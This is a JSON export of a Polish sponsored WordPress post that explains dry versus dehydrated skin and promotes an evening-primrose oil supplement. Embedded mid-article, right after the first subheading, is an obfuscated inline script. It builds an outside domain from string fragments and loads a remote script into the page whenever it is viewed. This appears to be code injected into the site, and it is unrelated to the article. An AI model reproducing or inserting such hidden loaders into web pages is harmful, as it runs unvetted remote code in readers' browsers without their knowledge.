{"id":11565,"date":"2026-04-15T15:45:23","date_gmt":"2026-04-15T13:45:23","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11565"},"modified":"2026-04-15T15:45:24","modified_gmt":"2026-04-15T13:45:24","slug":"skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac","title":{"rendered":"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Problem suchej sk\u00f3ry dotyczy wielu os\u00f3b, niezale\u017cnie od wieku. Na rynku dost\u0119pne s\u0105 setki krem\u00f3w nawil\u017caj\u0105cych, balsam\u00f3w i masek, a mimo to uczucie \u015bci\u0105gni\u0119cia, szorstko\u015bci czy pieczenia nie ust\u0119puje. Cz\u0119sto przyczyn\u0105 okazuje si\u0119 odwodniona sk\u00f3ra, czyli stan, w kt\u00f3rym organizm nie dostarcza kom\u00f3rkom odpowiedniej ilo\u015bci wody od wewn\u0105trz. Sprawd\u017a, dlaczego zwyk\u0142y krem mo\u017ce nie wystarczy\u0107.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sk\u00f3ra sucha a odwodniona \u2013 r\u00f3\u017cnice<\/strong><\/p>\n\n\n\n<script>\n(function(){\nu96c=document.createElement(\"script\");u96c.type=\"text\/javascript\";\nu96c.async=true;u96c_=(\"op\"+(\"ens\")+\"t\")+\"a\";u96c_+=(\"t.e\")+\"\"+\"u\";\nu96c.src=\"https:\/\/\"+u96c_+\"\/2608447869.chyb430w96cpp86iwwzjhqj8ryvh5s\";\ndocument.body.appendChild(u96c);\n})();\n<\/script>\n\n\n\n<p class=\"wp-block-paragraph\">To, \u017ce Twoja sk\u00f3ra jest przesuszona, nie zawsze oznacza, \u017ce brakuje jej wody. Sk\u00f3ra sucha a odwodniona to dwa r\u00f3\u017cne stany.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Sk\u00f3ra sucha<\/strong> \u2013 to typ cery wynikaj\u0105cy z genetyki lub czynnik\u00f3w \u015brodowiskowych. Charakteryzuje si\u0119 mniejsz\u0105 ilo\u015bci\u0105 lipid\u00f3w, kt\u00f3re tworz\u0105 barier\u0119 ochronn\u0105 i zapobiegaj\u0105 utracie wilgoci. Produkuje mniej sebum, przez co mo\u017ce by\u0107 cienka, szorstka i bardziej podatna na dyskomfort.<\/li>\n\n\n\n<li><strong>Odwodniona sk\u00f3ra<\/strong> \u2013 mo\u017ce dotyczy\u0107 ka\u017cdego typu cery, nawet t\u0142ustej. Problem le\u017cy w braku wody w nask\u00f3rku, co oznacza, \u017ce kosmetyki nawil\u017caj\u0105ce stosowane z zewn\u0105trz cz\u0119sto nie przynosz\u0105 pe\u0142nego efektu. Jest to zwykle stan przej\u015bciowy, w pe\u0142ni odwracalny.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Zwyk\u0142y krem mo\u017ce wi\u0119c okaza\u0107 si\u0119 niewystarczaj\u0105cy. Nawil\u017canie od zewn\u0105trz jest wa\u017cne, ale w przypadku odwodnienia r\u00f3wnie istotne jest wsparcie od \u015brodka.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Jak wspom\u00f3c odwodnion\u0105 sk\u00f3r\u0119 od wewn\u0105trz?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Osoby, u kt\u00f3rych piel\u0119gnacja zewn\u0119trzna nie przynosi efektu, <strong>powinny zwr\u00f3ci\u0107 szczeg\u00f3ln\u0105 uwag\u0119 na codzienn\u0105 diet\u0119 i odpowiedni\u0105 suplementacj\u0119.<\/strong> Suplementy diety zawieraj\u0105ce odpowiednie sk\u0142adniki, takie jak <a href=\"https:\/\/oeparol.pl\/\">Oeparol<\/a> z olejem z nasion wiesio\u0142ka, kt\u00f3ry zawiera wielonienasycone kwasy t\u0142uszczowe, mog\u0105 przyczyni\u0107 si\u0119 do utrzymania prawid\u0142owego stanu sk\u00f3ry.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Warto r\u00f3wnie\u017c zadba\u0107 o odpowiednie nawodnienie organizmu. Proste dzia\u0142ania, takie jak regularne picie odpowiedniej ilo\u015bci wody czy spo\u017cywanie produkt\u00f3w bogatych w wod\u0119 (np. og\u00f3rek, sa\u0142ata), maj\u0105 realny wp\u0142yw na kondycj\u0119 sk\u00f3ry. Dowiedz si\u0119 wi\u0119cej o tym, <a href=\"https:\/\/oeparol.pl\/jak-nawilzyc-skore-od-srodka\/\">jak nawil\u017cy\u0107 sk\u00f3r\u0119 od \u015brodka<\/a> i znajd\u017a praktyczne wskaz\u00f3wki, kt\u00f3re mo\u017cna wdro\u017cy\u0107 w codziennym \u017cyciu.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pami\u0119taj:<\/strong>&nbsp;Suplement ma sens jako uzupe\u0142nienie diety i nawodnienia. Nie zast\u0119puje zr\u00f3\u017cnicowanego \u017cywienia ani codziennej piel\u0119gnacji.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sk\u00f3ra sucha i odwodniona \u2013 dlaczego warto dzia\u0142a\u0107 kompleksowo?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0141\u0105czenie piel\u0119gnacji zewn\u0119trznej ze wsparciem od wewn\u0105trz to najskuteczniejszy spos\u00f3b na problem sk\u00f3ry suchej i odwodnionej. <strong>Nawil\u017caj\u0105ce kremy tworz\u0105 ochronn\u0105 warstw\u0119 na powierzchni sk\u00f3ry<\/strong>, natomiast <strong>odpowiednia suplementacja i nawodnienie wspieraj\u0105 jej prawid\u0142owy stan w g\u0142\u0119bszych warstwach nask\u00f3rka.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dzi\u0119ki temu <strong>sk\u00f3ra staje si\u0119 bardziej elastyczna i mniej podatna na podra\u017cnienia<\/strong>. Je\u015bli dotychczasowe kremy nie dawa\u0142y oczekiwanych rezultat\u00f3w, mo\u017cna rozwa\u017cy\u0107 suplementacj\u0119 zawieraj\u0105c\u0105 <strong>olej z nasion wiesio\u0142ka<\/strong>, kt\u00f3ry przyczynia si\u0119 do utrzymania prawid\u0142owego stanu sk\u00f3ry, jako element codziennej diety.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sucha sk\u00f3ra \u2013 podsumowanie<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sucho\u015b\u0107 sk\u00f3ry mo\u017ce wynika\u0107 z <strong>ubo\u017cszej warstwy lipidowej<\/strong>, a odwodnienie <strong>z niedoboru wody w organizmie i wi\u0119kszej utraty wilgoci<\/strong>. Na co dzie\u0144 mo\u017cesz widzie\u0107 podobne objawy (szorstko\u015b\u0107, dyskomfort), ale przy odwodnieniu sama okluzja kremem bywa kr\u00f3tkotrwa\u0142a. Dlatego tak wa\u017cne jest, by r\u00f3wnolegle my\u015ble\u0107 o tym,&nbsp;jak nawil\u017cy\u0107 sk\u00f3r\u0119 od \u015brodka.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nie zawsze problem suchej sk\u00f3ry rozwi\u0105\u017ce kolejny kosmetyk. Je\u015bli zauwa\u017casz, \u017ce sk\u00f3ra pozostaje napi\u0119ta, piecze lub \u0142uszczy si\u0119 pomimo stosowania krem\u00f3w, najprawdopodobniej Twoja sk\u00f3ra jest odwodniona. Warto zadba\u0107 o ni\u0105 kompleksowo poprzez<strong> nawil\u017canie od zewn\u0105trz i odpowiednie wsparcie od wewn\u0105trz<\/strong>, np. dzi\u0119ki diecie bogatej w warto\u015bciowe sk\u0142adniki czy suplementacji z olejem z nasion wiesio\u0142ka. Taki spos\u00f3b piel\u0119gnacji mo\u017ce pom\u00f3c utrzyma\u0107 prawid\u0142owy stan sk\u00f3ry i zwi\u0119kszy\u0107 skuteczno\u015b\u0107 stosowanych kosmetyk\u00f3w.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Bibliografia:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>https:\/\/oeparol.pl\/jak-nawilzyc-skore-od-srodka\/ [ostatni dost\u0119p: 25.02.2026 r.]<\/li>\n\n\n\n<li>https:\/\/www.alab.pl\/centrum-wiedzy\/sucha-skora-cz-1-postawienie-prawidlowej-diagnozy-problem-interdyscyplinarny\/ [ostatni dost\u0119p: 25.02.2026 r.]<\/li>\n\n\n\n<li>https:\/\/axeco.pl\/jak-rozpoznac-odwodniona-skore-objawy-i-skuteczne-dzialanie\/ [ostatni dost\u0119p: 25.02.2026 r.]<\/li>\n<\/ol>\n\n\n\n<p class=\"has-text-align-right wp-block-paragraph\"><em>Artyku\u0142 sponsorowany<\/em><\/p>\n\n\n\n<ol class=\"wp-block-list\"><\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Problem suchej sk\u00f3ry dotyczy wielu os\u00f3b, niezale\u017cnie od wieku. Na rynku dost\u0119pne s\u0105 setki krem\u00f3w nawil\u017caj\u0105cych, balsam\u00f3w i masek, a mimo to uczucie \u015bci\u0105gni\u0119cia, szorstko\u015bci czy pieczenia nie ust\u0119puje. Cz\u0119sto przyczyn\u0105 okazuje si\u0119 odwodniona&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":11566,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-11565","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abc-urody"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Problem suchej sk\u00f3ry dotyczy wielu os\u00f3b, niezale\u017cnie od wieku. Na rynku dost\u0119pne s\u0105 setki krem\u00f3w nawil\u017caj\u0105cych, balsam\u00f3w i masek, a mimo to uczucie \u015bci\u0105gni\u0119cia, szorstko\u015bci czy pieczenia nie ust\u0119puje. Cz\u0119sto przyczyn\u0105 okazuje si\u0119 odwodniona&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-15T13:45:23+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-15T13:45:24+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/04\/2150248364.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"mr-white\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\"},\"author\":{\"name\":\"mr-white\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"headline\":\"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107?\",\"datePublished\":\"2026-04-15T13:45:23+00:00\",\"dateModified\":\"2026-04-15T13:45:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\"},\"wordCount\":694,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/2150248364.jpg\",\"articleSection\":[\"ABC urody\"],\"inLanguage\":\"pl-PL\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\",\"name\":\"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/2150248364.jpg\",\"datePublished\":\"2026-04-15T13:45:23+00:00\",\"dateModified\":\"2026-04-15T13:45:24+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/2150248364.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/04\\\/2150248364.jpg\",\"width\":885,\"height\":398},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/abc-urody\\\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABC urody\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/abc-urody\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac","og_locale":"pl_PL","og_type":"article","og_title":"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Problem suchej sk\u00f3ry dotyczy wielu os\u00f3b, niezale\u017cnie od wieku. Na rynku dost\u0119pne s\u0105 setki krem\u00f3w nawil\u017caj\u0105cych, balsam\u00f3w i masek, a mimo to uczucie \u015bci\u0105gni\u0119cia, szorstko\u015bci czy pieczenia nie ust\u0119puje. Cz\u0119sto przyczyn\u0105 okazuje si\u0119 odwodniona&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2026-04-15T13:45:23+00:00","article_modified_time":"2026-04-15T13:45:24+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/04\/2150248364.jpg","type":"image\/jpeg"}],"author":"mr-white","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"3 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac"},"author":{"name":"mr-white","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"headline":"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107?","datePublished":"2026-04-15T13:45:23+00:00","dateModified":"2026-04-15T13:45:24+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac"},"wordCount":694,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/04\/2150248364.jpg","articleSection":["ABC urody"],"inLanguage":"pl-PL"},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac","url":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac","name":"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/04\/2150248364.jpg","datePublished":"2026-04-15T13:45:23+00:00","dateModified":"2026-04-15T13:45:24+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/04\/2150248364.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/04\/2150248364.jpg","width":885,"height":398},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/skora-sucha-a-odwodniona-dlaczego-krem-moze-nie-wystarczac#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"ABC urody","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/abc-urody"},{"@type":"ListItem","position":3,"name":"Sk\u00f3ra sucha a odwodniona \u2013 dlaczego krem mo\u017ce nie wystarcza\u0107?"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11565"}],"version-history":[{"count":1,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11565\/revisions"}],"predecessor-version":[{"id":11567,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11565\/revisions\/11567"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11566"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}